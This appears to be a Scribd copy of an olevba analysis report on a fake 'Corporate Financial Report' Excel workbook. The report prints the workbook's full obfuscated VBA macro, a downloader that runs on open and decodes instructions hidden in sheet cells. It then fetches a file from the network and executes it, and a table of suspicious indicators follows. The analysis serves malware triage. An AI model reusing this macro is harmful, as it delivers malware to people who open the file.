Scribd
Upload
12 views11 pages

VBA Macro Analysis for Excel XLSM File

The document is a report on the analysis of a VBA macro contained in an Excel file, highlighting the use of various functions and data types. It includes warnings about limitations in detecting certain types of obfuscation and provides details on the macro's structure and functionality. The analysis is conducted using the olevba tool, which is part of the oletools package.

Uploaded by

zeadnasser39
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
12 views11 pages

VBA Macro Analysis for Excel XLSM File

The document is a report on the analysis of a VBA macro contained in an Excel file, highlighting the use of various functions and data types. It includes warnings about limitations in detecting certain types of obfuscation and provides details on the macro's structure and functionality. The analysis is conducted using the olevba tool, which is part of the oletools package.

Uploaded by

zeadnasser39
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use

MS Excel)
olevba 0.60.2 on Python 3.12.3 - [Link]
===============================================================================
FILE: artifact_2_Corporate_Financial_Report_Q4_2024.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO [Link]
in file: xl/[Link] - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Option Explicit
#If VBA7 Then
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal pC As
LongPtr, ByVal sU As String, ByVal sF As String, ByVal dR As Long, ByVal lC As
LongPtr) As Long
Private Declare PtrSafe Function ShellExecuteA Lib "[Link]" (ByVal hw As
LongPtr, ByVal lO As String, ByVal lF As String, ByVal lP As String, ByVal lD As
String, ByVal nS As Long) As LongPtr
#Else
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal pC As Long, ByVal
sU As String, ByVal sF As String, ByVal dR As Long, ByVal lC As Long) As Long
Private Declare Function ShellExecuteA Lib "[Link]" (ByVal hw As Long, ByVal
lO As String, ByVal lF As String, ByVal lP As String, ByVal lD As String, ByVal nS
As Long) As Long
#End If
Private Const KlEKjXXGREpx As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ654321"
Private Const cAnJqAmSVy As String = "="
Private Const hRVGdtuNiPHY As Boolean = True
Private SxwKrUFRUP(0 To 7) As Byte
Private Type jxscbfgVmuw
NzDttZxhIW(0 To 15) As Variant
OagXKCFQzhi(0 To 15) As Long
XtugGcZNRhTD(0 To 7) As Variant
dAEqKxpCxgjmj(0 To 3) As Variant
OFaSBczXAHFeBDXn As Integer
PNcvuRsOGijYu As Long
mTQUTWyFuP As Boolean
LtoQmLftVFWXLTv(0 To 31) As Long
OaEQOoSGbuwxCRvQ As Integer
End Type
Private wueWNsNlRlnGu As jxscbfgVmuw
Private Sub urbfuixXcecuaSdL()
SxwKrUFRUP(0) = 75
SxwKrUFRUP(1) = 63
SxwKrUFRUP(2) = 122
SxwKrUFRUP(3) = 46
SxwKrUFRUP(4) = 145
SxwKrUFRUP(5) = 200
SxwKrUFRUP(6) = 93
SxwKrUFRUP(7) = 242
End Sub
Private Function vPvsHvmivW(eB() As Byte) As Byte()
Dim dB() As Byte, i As Long
If Not hRVGdtuNiPHY Then
vPvsHvmivW = eB
Exit Function
End If
ReDim dB(LBound(eB) To UBound(eB))
For i = LBound(eB) To UBound(eB)
dB(i) = eB(i) Xor SxwKrUFRUP(i Mod 8)
Next i
vPvsHvmivW = dB
End Function
Private Function rsvWgiUVMAsfYqA(bc() As Byte) As Byte
If [Link] <= UBound(bc) Then
rsvWgiUVMAsfYqA = bc([Link])
[Link] = [Link] + 1
Else
rsvWgiUVMAsfYqA = 0
End If
End Function
Private Function CFUjLzLqeuBHivE(bc() As Byte) As Long
Dim l As Long, h As Long
l = rsvWgiUVMAsfYqA(bc)
h = rsvWgiUVMAsfYqA(bc)
CFUjLzLqeuBHivE = l Or (h * 256)
End Function
Private Function fYRzmPrbcbTBYe(bc() As Byte) As String
Dim ln As Long, i As Long, r As String
ln = rsvWgiUVMAsfYqA(bc)
For i = 1 To ln
r = r & Chr(rsvWgiUVMAsfYqA(bc))
Next i
fYRzmPrbcbTBYe = r
End Function
Private Sub IBsLJqSpPY(bI As Integer, sz As Long)
If sz > 0 Then
Dim tB() As Byte
ReDim tB(0 To sz - 1)
[Link](bI) = tB
Else
[Link](bI) = Array()
End If
[Link](bI) = sz
End Sub
Private Sub kSPaYoLXlVJuuQW(bI As Integer)
[Link](bI) = Array()
[Link](bI) = 0
End Sub
Private Sub JNGNoezihzC(bI As Integer)
[Link] = bI
End Sub
Private Function HuQXFWIrmhKacy(eS As String) As Byte()
Const bc As String =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim r() As Byte, rS As Long, i As Long, op As Long
Dim v1 As Integer, v2 As Integer, v3 As Integer, v4 As Integer
Dim c1 As String, c2 As String, c3 As String, c4 As String
Dim cE As String
cE = eS
If Len(cE) >= 3 Then
If Asc(Mid(cE, 1, 1)) = 239 And Asc(Mid(cE, 2, 1)) = 187 And Asc(Mid(cE, 3, 1)) =
191 Then
cE = Mid(cE, 4)
End If
End If
cE = Trim(cE)
rS = (Len(cE) * 3) \ 4 + 3
ReDim r(0 To rS)
op = 0
i = 1
Do While i <= Len(cE)
c1 = "": c2 = "": c3 = "": c4 = ""
Do While i <= Len(cE)
c1 = Mid(cE, i, 1)
i = i + 1
If c1 <> " " And c1 <> vbCr And c1 <> vbLf And c1 <> vbTab And c1 <> "=" Then Exit
Do
c1 = ""
Loop
Do While i <= Len(cE)
c2 = Mid(cE, i, 1)
i = i + 1
If c2 <> " " And c2 <> vbCr And c2 <> vbLf And c2 <> vbTab And c2 <> "=" Then Exit
Do
c2 = ""
Loop
Do While i <= Len(cE)
c3 = Mid(cE, i, 1)
i = i + 1
If c3 <> " " And c3 <> vbCr And c3 <> vbLf And c3 <> vbTab Then Exit Do
c3 = ""
Loop
Do While i <= Len(cE)
c4 = Mid(cE, i, 1)
i = i + 1
If c4 <> " " And c4 <> vbCr And c4 <> vbLf And c4 <> vbTab Then Exit Do
c4 = ""
Loop
If c1 = "" Or c2 = "" Then Exit Do
v1 = InStr(bc, c1) - 1
v2 = InStr(bc, c2) - 1
If v1 < 0 Or v2 < 0 Then Exit Do
r(op) = CByte(((v1 * 4) Or (v2 \ 16)) And &HFF)
op = op + 1
If c3 <> "" And c3 <> "=" Then
v3 = InStr(bc, c3) - 1
If v3 >= 0 Then
r(op) = CByte((((v2 And 15) * 16) Or (v3 \ 4)) And &HFF)
op = op + 1
End If
End If
If c4 <> "" And c4 <> "=" Then
v4 = InStr(bc, c4) - 1
If v4 >= 0 Then
r(op) = CByte((((v3 And 3) * 64) Or v4) And &HFF)
op = op + 1
End If
End If
Loop
If op > 0 Then
ReDim Preserve r(0 To op - 1)
Else
ReDim r(0 To 0)
r(0) = 0
End If
HuQXFWIrmhKacy = r
End Function
Private Function BccSCDfpIxEaQC(eS As String) As Byte()
On Error GoTo eH
Dim dC() As Byte
Dim cE As String
Dim pL As Long
Dim i As Long, cI As Long
Dim ch As String
Dim v(0 To 7) As Integer
Dim cP As Integer, j As Integer
Dim b1 As Byte, b2 As Byte, b3 As Byte, b4 As Byte, b5 As Byte
Dim op As Long
Dim c As String
cE = RTrim(eS)
pL = 0
Do While Len(cE) > 0 And Right(cE, 1) = cAnJqAmSVy
pL = pL + 1
cE = Left(cE, Len(cE) - 1)
Loop
If (Len(cE) + pL) Mod 8 <> 0 Then
ReDim dC(0 To 0)
dC(0) = 0
BccSCDfpIxEaQC = dC
Exit Function
End If
Dim mB As Long
mB = ((Len(cE) + pL) \ 8) * 5
ReDim dC(0 To mB - 1)
op = 0
For i = 1 To Len(cE) Step 8
ch = Mid(cE, i, 8)
For j = 0 To Len(ch) - 1
c = Mid(ch, j + 1, 1)
cP = InStr(KlEKjXXGREpx, c)
If cP = 0 Then
ReDim dC(0 To 0)
dC(0) = 0
BccSCDfpIxEaQC = dC
Exit Function
End If
v(j) = cP - 1
Next j
For j = Len(ch) To 7
v(j) = 0
Next j
b1 = CByte(((v(0) * 8) Or (v(1) \ 4)) And &HFF)
b2 = CByte((((v(1) And 3) * 64) Or (v(2) * 2) Or (v(3) \ 16)) And &HFF)
b3 = CByte((((v(3) And 15) * 16) Or (v(4) \ 2)) And &HFF)
b4 = CByte((((v(4) And 1) * 128) Or (v(5) * 4) Or (v(6) \ 8)) And &HFF)
b5 = CByte((((v(6) And 7) * 32) Or v(7)) And &HFF)
dC(op) = b1
dC(op + 1) = b2
dC(op + 2) = b3
dC(op + 3) = b4
dC(op + 4) = b5
op = op + 5
Next i
Dim fS As Long
fS = op
If pL = 6 Then fS = fS - 4
If pL = 4 Then fS = fS - 3
If pL = 3 Then fS = fS - 2
If pL = 1 Then fS = fS - 1
If fS > 0 And fS <= op Then
ReDim Preserve dC(0 To fS - 1)
End If
BccSCDfpIxEaQC = dC
Exit Function
eH:
ReDim dC(0 To 0)
dC(0) = 0
BccSCDfpIxEaQC = dC
End Function
Private Function gObJYvGXTEqZmJ(eS As String) As Byte()
Dim r() As Byte, hL As Long, i As Long
hL = Len(eS) \ 2
ReDim r(0 To hL - 1)
For i = 0 To hL - 1
r(i) = CByte("&H" & Mid(eS, i * 2 + 1, 2))
Next i
gObJYvGXTEqZmJ = r
End Function
Private Function pDYHYfkWPHaJ(ByVal v As Byte, ByVal b As Integer) As Byte
b = b Mod 8
If b = 0 Then
pDYHYfkWPHaJ = v
Exit Function
End If
Dim iV As Integer, lP As Integer, rP As Integer
iV = CInt(v)
lP = (iV * (2 ^ b)) And &HFF
rP = iV \ (2 ^ (8 - b))
pDYHYfkWPHaJ = CByte((lP Or rP) And &HFF)
End Function
Private Function PQdlafudMLFE(ByVal v As Byte, ByVal b As Integer) As Byte
b = b Mod 8
If b = 0 Then
PQdlafudMLFE = v
Exit Function
End If
Dim iV As Integer, lP As Integer, rP As Integer
iV = CInt(v)
rP = iV \ (2 ^ b)
lP = (iV * (2 ^ (8 - b))) And &HFF
PQdlafudMLFE = CByte((lP Or rP) And &HFF)
End Function
Private Sub NUnJMCTGbuLBNCd(bI As Integer, k As Byte)
Dim i As Long
If Not IsArray([Link](bI)) Then Exit Sub
For i = LBound([Link](bI)) To
UBound([Link](bI))
[Link](bI)(i) = [Link](bI)(i) Xor k
Next i
End Sub
Private Sub HFkoGPvkoR(bI As Integer, val As Byte)
Dim i As Long
Dim nV As Integer
If Not IsArray([Link](bI)) Then Exit Sub
For i = LBound([Link](bI)) To
UBound([Link](bI))
nV = CInt([Link](bI)(i)) - CInt(val)
If nV < 0 Then nV = nV + 256
[Link](bI)(i) = CByte(nV And &HFF)
Next i
End Sub
Private Sub IaxeexYThFRySa(bI As Integer, d As Byte, b As Byte)
Dim i As Long
If Not IsArray([Link](bI)) Then Exit Sub
For i = LBound([Link](bI)) To
UBound([Link](bI))
If d = 0 Then
[Link](bI)(i) = pDYHYfkWPHaJ([Link](bI)(i), b)
Else
[Link](bI)(i) = PQdlafudMLFE([Link](bI)(i), b)
End If
Next i
End Sub
Private Function aBStiHdeWiPj(u As String) As Byte()
Dim tF As String, fN As Integer, fD() As Byte, fS As Long
tF = Environ("TEMP") & "\[Link]"
On Error Resume Next
URLDownloadToFileA 0, u, tF, 0, 0
[Link] Now + TimeValue("00:00:01")
If Len(Dir(tF)) > 0 Then
fS = FileLen(tF)
If fS > 0 Then
ReDim fD(0 To fS - 1)
fN = FreeFile
Open tF For Binary Access Read As #fN
Get #fN, , fD
Close #fN
Kill tF
aBStiHdeWiPj = fD
Else
ReDim fD(0 To 0)
fD(0) = 0
aBStiHdeWiPj = fD
End If
Else
ReDim fD(0 To 0)
fD(0) = 0
aBStiHdeWiPj = fD
End If
On Error GoTo 0
End Function
Private Sub RolAnAXsPSGxT(bI As Integer, p As String)
Dim fN As Integer
On Error Resume Next
fN = FreeFile
Open p For Binary Access Write As #fN
If IsArray([Link](bI)) Then
Dim i As Long
Dim bf() As Byte
Dim lb As Long, ub As Long
lb = LBound([Link](bI))
ub = UBound([Link](bI))
ReDim bf(0 To ub - lb)
For i = lb To ub
bf(i - lb) = [Link](bI)(i)
Next i
Put #fN, , bf
Else
Put #fN, , [Link](bI)
End If
Close #fN
On Error GoTo 0
End Sub
Private Sub oZhqFiZrgcK(p As String)
On Error Resume Next
ShellExecuteA 0, "open", p, vbNullString, vbNullString, 1
On Error GoTo 0
End Sub
Private Sub HcovdxFAVNfyFNA(bc() As Byte)
Dim op As Byte, bI As Integer, k As Byte
Dim d As Byte, b As Byte, of As Long
Dim u As String, p As String, s As String
Dim nV As String, vV As String, eV As String
[Link] = 0
[Link] = 0
[Link] = True
[Link] = 0
Do While [Link] <= UBound(bc)
op = rsvWgiUVMAsfYqA(bc)
Select Case op
Case &H8F
bI = rsvWgiUVMAsfYqA(bc)
Call rsvWgiUVMAsfYqA(bc)
Call rsvWgiUVMAsfYqA(bc)
Call IBsLJqSpPY(bI, 0)
Case &H3C
bI = rsvWgiUVMAsfYqA(bc)
Call kSPaYoLXlVJuuQW(bI)
Case &HA9
bI = rsvWgiUVMAsfYqA(bc)
Call JNGNoezihzC(bI)
Case &H51
On Error Resume Next
If IsArray([Link]([Link])) Then
s = wnoPmYKhwZmwZK([Link]([Link]))
ElseIf VarType([Link]([Link])) = vbString
Then
s = [Link]([Link])
Else
s = ""
End If
If Len(s) > 0 Then
Dim dR1() As Byte
dR1 = HuQXFWIrmhKacy(s)
[Link]([Link]) = dR1
End If
On Error GoTo 0
Case &H52
On Error Resume Next
If IsArray([Link]([Link])) Then
s = wnoPmYKhwZmwZK([Link]([Link]))
ElseIf VarType([Link]([Link])) = vbString
Then
s = [Link]([Link])
Else
s = ""
End If
If Len(s) > 0 Then
Dim dR2() As Byte
dR2 = BccSCDfpIxEaQC(s)
[Link]([Link]) = dR2
End If
On Error GoTo 0
Case &H53
On Error Resume Next
If IsArray([Link]([Link])) Then
s = wnoPmYKhwZmwZK([Link]([Link]))
ElseIf VarType([Link]([Link])) = vbString
Then
s = [Link]([Link])
Else
s = ""
End If
If Len(s) > 0 Then
[Link]([Link]) = gObJYvGXTEqZmJ(s)
End If
On Error GoTo 0
Case &H30
k = rsvWgiUVMAsfYqA(bc)
Call NUnJMCTGbuLBNCd([Link], k)
Case &H34
Dim aV As Byte
aV = rsvWgiUVMAsfYqA(bc)
Call HFkoGPvkoR([Link], aV)
Case &H31
d = rsvWgiUVMAsfYqA(bc)
b = rsvWgiUVMAsfYqA(bc)
Call IaxeexYThFRySa([Link], d, b)
Case &H70
u = fYRzmPrbcbTBYe(bc)
On Error Resume Next
Dim dD() As Byte
dD = aBStiHdeWiPj(u)
[Link]([Link]) = dD
[Link]([Link]) = UBound(dD) - LBound(dD)
+ 1
On Error GoTo 0
Case &H71
p = fYRzmPrbcbTBYe(bc)
Call RolAnAXsPSGxT([Link], p)
Case &H72
p = fYRzmPrbcbTBYe(bc)
Call oZhqFiZrgcK(p)
Case &HA0
of = CFUjLzLqeuBHivE(bc)
[Link] = of
Case &HA1
of = CFUjLzLqeuBHivE(bc)
If Not [Link] Then
[Link] = of
End If
Case &HA4
nV = fYRzmPrbcbTBYe(bc)
vV = fYRzmPrbcbTBYe(bc)
eV = Environ(nV)
[Link] = (LCase(eV) = LCase(vV))
Case &HFF
Exit Do
End Select
Loop
End Sub
Private Function wnoPmYKhwZmwZK(bA As Variant) As String
Dim r As String, i As Long
On Error Resume Next
If Not IsArray(bA) Then
wnoPmYKhwZmwZK = ""
Exit Function
End If
If LBound(bA) > UBound(bA) Then
wnoPmYKhwZmwZK = ""
Exit Function
End If
For i = LBound(bA) To UBound(bA)
r = r & Chr(bA(i))
Next i
wnoPmYKhwZmwZK = r
On Error GoTo 0
End Function
Private Function FSTXmCpcPiuADN(s As String) As Byte()
Dim r() As Byte, i As Long
On Error Resume Next
If Len(s) = 0 Then
ReDim r(0 To 0)
r(0) = 0
FSTXmCpcPiuADN = r
Exit Function
End If
ReDim r(0 To Len(s) - 1)
For i = 1 To Len(s)
r(i - 1) = CByte(Asc(Mid(s, i, 1)) And &HFF)
Next i
FSTXmCpcPiuADN = r
On Error GoTo 0
End Function
Private Function LlFCQfCbhx() As Byte()
Dim ws As Worksheet, bc() As Byte, i As Long, lR As Long
On Error Resume Next
Set ws = [Link](1)
If ws Is Nothing Then
ReDim bc(0 To 0)
LlFCQfCbhx = bc
Exit Function
End If
lR = [Link]([Link], "A").End(xlUp).Row
ReDim bc(0 To lR - 1)
For i = 1 To lR
bc(i - 1) = CByte([Link](i, 1).Value)
Next i
LlFCQfCbhx = bc
On Error GoTo 0
End Function
Sub Auto_Open()
Dim eB() As Byte
Dim dB() As Byte
On Error Resume Next
Call urbfuixXcecuaSdL
eB = LlFCQfCbhx()
If UBound(eB) >= 0 Then
dB = vPvsHvmivW(eB)
Call HcovdxFAVNfyFNA(dB)
End If
On Error GoTo 0
End Sub
Private Sub Workbook_Open()
Call Auto_Open
End Sub
-------------------------------------------------------------------------------
VBA MACRO [Link]
in file: xl/[Link] - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO [Link]
in file: xl/[Link] - OLE stream: 'VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO [Link]
in file: xl/[Link] - OLE stream: 'VBA/Sheet3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO [Link]
in file: xl/[Link] - OLE stream: 'VBA/Sheet4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO [Link]
in file: xl/[Link] - OLE stream: 'VBA/Sheet5'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Auto_Open |Runs when the Excel Workbook is opened |
|AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
|Suspicious|Environ |May read system environment variables |
|Suspicious|Open |May open a file |
|Suspicious|Write |May write to a file (if combined with Open) |
|Suspicious|Put |May write to a file (if combined with Open) |
|Suspicious|Binary |May read or write a binary file (if combined |
| | |with Open) |
|Suspicious|Kill |May delete a file |
|Suspicious|ShellExecuteA |May run an executable file or a system |
| | |command |
|Suspicious|shell32 |May run an executable file or a system |
| | |command |
|Suspicious|Call |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|Lib |May run code from a DLL |
|Suspicious|URLDownloadToFileA |May download files from the Internet |
|Suspicious|Chr |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Xor |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|Suspicious|Base64 Strings |Base64-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
|IOC |[Link] |Executable file name |
|Suspicious|VBA Stomping |VBA Stomping was detected: the VBA source |
| | |code and P-code are different, this may have |
| | |been used to hide malicious code |
+----------+--------------------+---------------------------------------------+
VBA Stomping detection is experimental: please report any false positive/negative
at [Link]

You might also like